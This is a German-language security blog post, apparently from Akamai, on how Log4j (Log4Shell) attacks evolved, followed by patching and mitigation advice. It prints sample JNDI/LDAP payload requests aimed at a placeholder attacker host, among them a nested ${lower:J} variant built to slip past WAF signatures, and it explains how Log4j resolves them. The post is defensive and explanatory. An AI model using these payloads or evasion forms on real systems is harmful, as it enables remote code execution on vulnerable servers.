Ein Rückblick auf Log4j, Teil 3: Evolution – Payloads und Angriffsdiversifizierung

In Teil 2 dieser Serie habe ich Ihnen die Exploits zur Datenextraktion und zur Ausführung von Remotecode sowie die Angriffsfläche vorgestellt. In diesem Beitrag möchte ich darüber sprechen, was wir im Zuge unserer weiteren Nachforschungen über die Entwicklung der Angriffe herausgefunden haben. (Zum Beispiel entdeckte Hidecki Okamoto von Akamai im Dezember 2021 eine neue Schwachstelle.) Während wir die Situation kontinuierlich beobachten und Schutzmaßnahmen für unsere Kunden bereitstellen, stellt Akamai fest, dass sich die Bedrohung in zwei verschiedene Richtungen entwickelt. Die erste bezieht sich auf Payloads.

Unternehmen verlassen sich zunehmend auf Schutzmaßnahmen wie Web Application Firewalls (WAFs), um sich zu schützen. Solche Systeme suchen nach dem Vorhandensein ausnutzbarer Zeichenfolgen in Webanfragen und löschen alle gefundenen Strings. Ein sehr einfaches (erfundenes) Beispiel wäre, jede Webanfrage zu verwerfen, die die folgenden sieben Zeichen hintereinander enthält:

${jndi:

Dadurch würde das folgende webbasierte Beispiel verworfen, da die hervorgehobene Signatur in der Anfrage gefunden würde:

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

Auf den ersten Blick scheint dies eine gute Signatur zu sein, aber wir müssen bedenken, dass Log4j unglaublich komplexe und verschachtelte Konstruktionen zulässt. Um dies zu umgehen, können die Angreifer den Angriff wie folgt abändern:

GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

In diesem Beispiel sind die sieben benachbarten Sonderzeichen von vorhin – ${jndi: – nicht mehr vorhanden, sodass die erfundene WAF-Signatur erfolgreich umgangen werden könnte.

Untersuchen wir, was Log4j beim Empfang des Pfades /${${lower:J}ndi:ldap://rce.malware.example/a} zur Protokollierung tun würde.

Erstens würde es den Lookup-Ausdruck ${lower:J} bis jerweitern, was die folgende Zwischenzeichenkette ergibt:

/${jndi:ldap://rce.malware.example/a}

Als Nächstes würde Log4j durch den JNDI-Lookup-Ausdruck ${jndi:ldap://rce.malware.example/a}die LDAP-Pseudo-URL ldap://rce.malware.example/a an JNDI übergeben, was zu dem zuvor beschriebenen Exploit führt.

Daraus ergibt sich ein Katz-und-Maus-Spiel, bei dem die Angreifer eine Payload-Konstruktion verwenden, bis sie schließlich blockiert werden. Daraufhin ändern sie die Payload-Konstruktion, um erneut zu versuchen, die Signaturprüfungen zu umgehen, bis sie wieder gefunden werden – und so weiter.

Bei Akamai haben wir Versuche beobachtet, die Kontrollen durch Manipulation von Payload-Zeichenketten zu umgehen. Diese Zeichenketten sind den oben genannten ähnlich oder sind deutlich weiter entwickelt. Außerdem kommen auch weniger offensichtliche Ansätze zum Einsatz, wie z. B. kreative Inhaltscodierungen, Übertragungscodierungen, Zeichensätze und mehr.

Die zweite Entwicklung, die wir beobachten, betrifft die Diversifizierung von Angriffszielen und Protokollen. Wie bereits in Teil 2erwähnt, sind webbasierte Anwendungen derzeit der Hauptangriffsvektor. Wir beobachten jedoch vermehrt Versuche, DNS und andere weniger offensichtliche Protokolle anzugreifen, da der Webvektor besser geschützt ist und ständig neue Patches entwickelt werden.

Lösung und Abhilfemaßnahmen

Angesichts des Ausmaßes der verschiedenen Angriffsvektoren, die für diese Schwachstelle genutzt werden können, besteht die einzige echte Lösung darin, alle anfälligen Systeme zu patchen. Wie bereits erwähnt, sind jedoch einige Systeme möglicherweise nicht patchbar, da es sich um eingebettete Systeme handelt, die nicht aktualisiert werden können – oder um kommerzielle Standardanwendungen, bei denen die Patch-Fristen des Anbieters möglicherweise nicht so kurz sind wie gewünscht.

Erschwerend kommt hinzu, dass viele Unternehmen noch nicht über die umfassende Transparenz verfügen, die in ihren Umgebungen erforderlich ist, um genau zu wissen, welche Systeme überhaupt anfällig sind.

Abhilfemaßnahmen haben wir in einem früheren Beitrag im Akamai-Blog behandelt – sowie im Blog unseres Guardicore-Teams. Zur Auffrischung: Akamai empfiehlt die folgenden Maßnahmen:

1. Bei Systemen, die gepatcht werden können, sollten Sie dies sofort tun.

Dies bietet den größtmöglichen Schutz. Stellen Sie sicher, dass Log4j in der neuesten Version läuft (2.17.0 zum Zeitpunkt der Erstellung dieses Textes).

2. Für Systeme, die als anfällig identifiziert wurden, bei denen Sie aber mit dem Upgrade von Log4j noch warten müssen, können Sie die Bedrohungslage mit den folgenden Einstellungen so weit wie möglich verringern:

Für Log4j-Versionen ≥ 2.10: Indem Sie „-Dlog4j2.formatMsgNoLookups=true“ beim Start an die Anwendung übergeben, werden Lookup-Ausdrücke deaktiviert.

Stellen Sie bei Java sicher, dass die folgenden Einstellungen auf Ihren Systemen zutreffen:

com.sun.jndi.ldap.object.trustURLCodebase=false

com.sun.jndi.rmi.object.trustURLCodebase=false

3. Setzen Sie vor all Ihren Webanwendungen eine WAF, wie die marktführende Kona-Lösung von Akamai ein, um Angriffsversuche herauszufiltern.

Dies sollte sowohl für interne als auch für externe Server geschehen.

4. Setzen Sie eine DNS-Firewall ein, z. B. Akamai Secure Internet Access Enterprise, um verdächtige DNS-Payloads, die Ihre Umgebung durchqueren, zu erkennen und zu blockieren.

5. Führen Sie ein Tool aus, um einen umfassenden Einblick in die Abläufe in Ihrer Umgebung zu erhalten – unabhängig davon, ob es sich um eine native physische oder Cloud-Umgebung handelt.

Nutzen Sie Tools, wie z. B. die von Akamai Guardicore Segmentation, um einen Überblick über alle in Ihrer Umgebung laufenden Prozesse zu erhalten. Nutzen Sie diese Tools, um Anwendungen ausfindig zu machen, von denen Sie vielleicht nicht wissen, dass sie anfällig sind.

6. Minimieren Sie die Kommunikation für betroffene Anwendungen.

Nutzen Sie die identitätsbasierte Segmentierung, wie sie z. B. von Akamai Guardicore Segmentation angeboten wird, um einzuschränken, mit welchen anfälligen Systemen kommuniziert werden kann.

So geht es weiter

Diese Abwehrstrategien können das Risiko für anfällige Systeme erheblich senken, während eine passende Patching-Strategie entwickelt und ausgeführt wird. Unser Rückblick ist fast vollständig – bisher haben wir den Hintergrund, die Exploits und die Abhilfemaßnahmen für Log4j-Schwachstellen behandelt. In Teil 4 fassen wir die gewonnenen Erkenntnisse zusammen. Also schauen Sie bald wieder vorbei.